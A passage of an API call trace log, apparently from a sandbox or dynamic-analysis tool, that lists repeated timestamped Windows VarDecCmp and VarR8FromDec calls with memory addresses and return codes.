pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x0 [0195.422] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x1 [0195.422] VarDecCmp (pdecLeft=0x4efe940, pdecRight=0x4efe930) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe940, pdecRight=0x4efe930) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe940, pdecRight=0x4efe930) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe940, pdecRight=0x4efe930) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.423] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.423] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe934, pdecRight=0x4efe924) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe940, pdecRight=0x4efe930) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe960, pdecRight=0x4efe950) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe940, pdecRight=0x4efe930) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.424] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.424] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.425] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.425] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efe984, pdecRight=0x4efe974) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x0 [0195.426] VarDecCmp (pdecLeft=0x4efe9b0, pdecRight=0x4efe9a0) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe990, pdecRight=0x4efe980) returned 0x1 [0195.426] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.427] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.427] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.427] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.427] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.427] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efeab0, pdecRight=0x4efeaa0) returned 0x0 [0195.428] VarDecCmp (pdecLeft=0x4efea90, pdecRight=0x4efea80) returned 0x2 [0195.428] VarDecCmp (pdecLeft=0x4efe9f4, pdecRight=0x4efe9e4) returned 0x1 [0195.428] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.429] VarDecCmp (pdecLeft=0x4efe974, pdecRight=0x4efe964) returned 0x1 [0195.515] VarR8FromDec (in: pdecIn=0x4efea20, pdblOut=0x4efea0c | out: pdblOut=0x4efea0c) returned 0x0 [0195.515] VarR8FromDec (in: pdecIn=0x4efea34, pdblOut=0x4efea20 | out: pdblOut=0x4efea20) returned 0x0 [0195.515] VarR8FromDec (in: pdecIn=0x4efea20, pdblOut=0x4efea0c | out: pdblOut=0x4efea0c) returned 0x0 [0195.515] VarR8FromDec (in: pdecIn=0x4efea34, pdblOut=0x4efea20 | out: pdblOut=0x4efea20) returned 0x0 [0195.515] VarR8FromDec (in: pdecIn=0x4efea20, pdblOut=0x4efea0c | out: pdblOut=0x4efea0c) returned 0x0 [0195.515] VarR8FromDec (in: pdecIn=0x4efea34, pdblOut=0x4efea20 | out: pdblOut=0x4efea20) returned 0x0 [0195.515] VarR8FromDec (in: pdecIn=0x4efea20, pdblOut=0x4efea0c | out: pdblOut=0x4efea0c) returned 0x0 [0195.515] VarDecCmp (pdecLeft=0x4efe900, pdecRight=0x4efe8f0) returned 0x0 [0195.515] VarDecCmp (pdecLeft=0x4efe900, pdecRight=0x4efe8f0) returned 0x0 [0195.515] VarDecCmp (pdecLeft=0x4efe900, pdecRight=0x4efe8f0) returned 0x0 [0195.515] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x0 [0195.515] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe90c, pdecRight=0x4efe8fc) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe90c, pdecRight=0x4efe8fc) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe900, pdecRight=0x4efe8f0) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe900, pdecRight=0x4efe8f0) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe90c, pdecRight=0x4efe8fc) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe92c, pdecRight=0x4efe91c) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe90c, pdecRight=0x4efe8fc) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe9dc, pdecRight=0x4efe9cc) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe9bc, pdecRight=0x4efe9ac) returned 0x2 [0195.516] VarDecCmp (pdecLeft=0x4efe9dc, pdecRight=0x4efe9cc) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe9bc, pdecRight=0x4efe9ac) returned 0x2 [0195.516] VarDecCmp (pdecLeft=0x4efe9dc, pdecRight=0x4efe9cc) returned 0x0 [0195.516] VarDecCmp (pdecLeft=0x4efe9bc, pdecRight=0x4efe9ac) returned 0x2 [0195.516] VarDecCmp (pdecLeft=0x4efe920, pdecRight=0x4efe910) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe8a0, pdecRight=0x4efe890) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe8a0, pdecRight=0x4efe890) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe8a0, pdecRight=0x4efe890) returned 0x1 [0195.516] VarDecCmp (pdecLeft=0x4efe8a0, pdecRight=0x4efe890) returned 0x1 [0195.522] VarR8FromDec (in: pdecIn=0x4efe88c, pdblOut=0x4efe878 | out: pdblOut=0x4efe878) returned 0x0 [0195.522] VarR8FromDec (in: pdecIn=0x4efe8a0, pdblOut=0x4efe88c | out: pdblOut=0x4efe88c) returned 0x0 [0195.522] VarR8FromDec (in: pdecIn=0x4efe88c, pdblOut=0x4efe878 | out: pdblOut=0x4efe878) returned 0x0 [0195.522] VarR8FromDec (in: pdecIn=0x4efe8a0, pdblOut=0x4efe88c | out: pdblOut=0x4efe88c) returned 0x0 [0195.522] VarR8FromDec (in: pdecIn=0x4efe88c, pdblOut=0x4efe878 | out: pdblOut=0x4efe878) returned 0x0 [0195.522] VarDecCmp (pdecLeft=0x4efe76c, pdecRight=0x4efe75c) returned 0x0 [0195.522] VarDecCmp (pdecLeft=0x4efe76c, pdecRight=0x4efe75c) returned 0x0 [0195.522] VarDecCmp (pdecLeft=0x4efe76c, pdecRight=0x4efe75c) returned 0x0 [0195.522] VarDecCmp (pdecLeft=0x4efe798, pdecRight=0x4efe788) returned 0x0 [0195.522] VarDecCmp (pdecLeft=0x4efe798, pdecRight=0x4efe788) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe778, pdecRight=0x4efe768) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe798, pdecRight=0x4efe788) returned 0x0 [0195.523] VarDecCmp (pdecLeft=0x4efe798, pdecRight=0x4efe788) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe778, pdecRight=0x4efe768) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe848, pdecRight=0x4efe838) returned 0x0 [0195.523] VarDecCmp (pdecLeft=0x4efe828, pdecRight=0x4efe818) returned 0x2 [0195.523] VarDecCmp (pdecLeft=0x4efe848, pdecRight=0x4efe838) returned 0x0 [0195.523] VarDecCmp (pdecLeft=0x4efe828, pdecRight=0x4efe818) returned 0x2 [0195.523] VarDecCmp (pdecLeft=0x4efe78c, pdecRight=0x4efe77c) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe70c, pdecRight=0x4efe6fc) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe70c, pdecRight=0x4efe6fc) returned 0x1 [0195.523] VarDecCmp (pdecLeft=0x4efe70c, pdecRight=0x4efe6fc) returned 0x1 [0195.525] VarR8FromDec (in: pdecIn=0x4efe9ec, pdblOut=0x4efe9d8 | out: pdblOut=0x4efe9d8) returned 0x0 [0195.525] VarR8FromDec (in: pdecIn=0x4efea00, pdblOut=0x4efe9ec | out: pdblOut=0x4efe9ec) returned 0x0 [0195.525] VarR8FromDec (in: pdecIn=0x4efe9ec, pdblOut=0x4efe9d8 | out: pdblOut=0x4efe9d8) returned 0x0 [0195.525] VarR8FromDec (in: pdecIn=0x4efea00, pdblOut=0x4efe9ec | out: pdblOut=0x4efe9ec) returned 0x0 [0195.525] VarR8FromDec (in: pdecIn=0x4efe9ec, pdblOut=0x4efe9d8 | out: pdblOut=0x4efe9d8) returned 0x0 [0195.525] VarR8FromDec (in: pdecIn=0x4efea00, pdblOut=0x4efe9ec | out: pdblOut=0x4efe9ec) returned 0x0 [0195.525] VarR8FromDec (in: pdecIn=0x4efe9ec, pdblOut=0x4efe9d8 | out: pdblOut=0x4efe9d8) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8cc, pdecRight=0x4efe8bc) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8cc, pdecRight=0x4efe8bc) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8cc, pdecRight=0x4efe8bc) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x1 [0195.525] VarDecCmp (pdecLeft=0x4efe8d8, pdecRight=0x4efe8c8) returned 0x1 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x1 [0195.525] VarDecCmp (pdecLeft=0x4efe8d8, pdecRight=0x4efe8c8) returned 0x1 [0195.525] VarDecCmp (pdecLeft=0x4efe8cc, pdecRight=0x4efe8bc) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8cc, pdecRight=0x4efe8bc) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x1 [0195.525] VarDecCmp (pdecLeft=0x4efe8d8, pdecRight=0x4efe8c8) returned 0x1 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x0 [0195.525] VarDecCmp (pdecLeft=0x4efe8f8, pdecRight=0x4efe8e8) returned 0x1 [0195.526] VarDecCmp (pdecLeft=0x4efe8d8, pdecRight=0x4efe8c8) returned 0x1 [0195.526] VarDecCmp (pdecLeft=0x4efe9a8, pdecRight=0x4efe998) returned 0x0 [0195.526] VarDecCmp (pdecLeft=0x4efe988, pdecRight=0x4efe978) returned 0x2 [0195.526] VarDecCmp (pdecLeft=0x4efe9a8, pdecRight=0x4efe998) returned 0x0 [0195.526] VarDecCmp (pdecLeft=0x4efe988, pdecRight=0x4efe978) returned 0x2 [0195.526] VarDecCmp (pdecLeft=0x4efe9a8, pdecRight=0x4efe998) returned 0x0 [0195.526] VarDecCmp (pdecLeft=0x4efe988, pdecRight=0x4efe978) returned 0x2 [0195.526] VarDecCmp (pdecLeft=0x4efe8ec, pdecRight=0x4efe8dc) returned 0x1 [0195.526] VarDecCmp (pdecLeft=0x4efe86c, pdecRight=0x4efe85c) returned 0x1 [0195.526] VarDecCmp (pdecLeft=0x4efe86c, pdecRight=0x4efe85c) returned 0x1 [0195.526] VarDecCmp (pdecLeft=0x4efe86c, pdecRight=0x4efe85c) returned 0x1 [0195.526] VarDecCmp (pdecLeft=0x4efe86c, pdecRight=0x4efe85c) returned 0x1 [0215.972] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.972] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0215.973] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0215.973] VarR8FromDec (in: 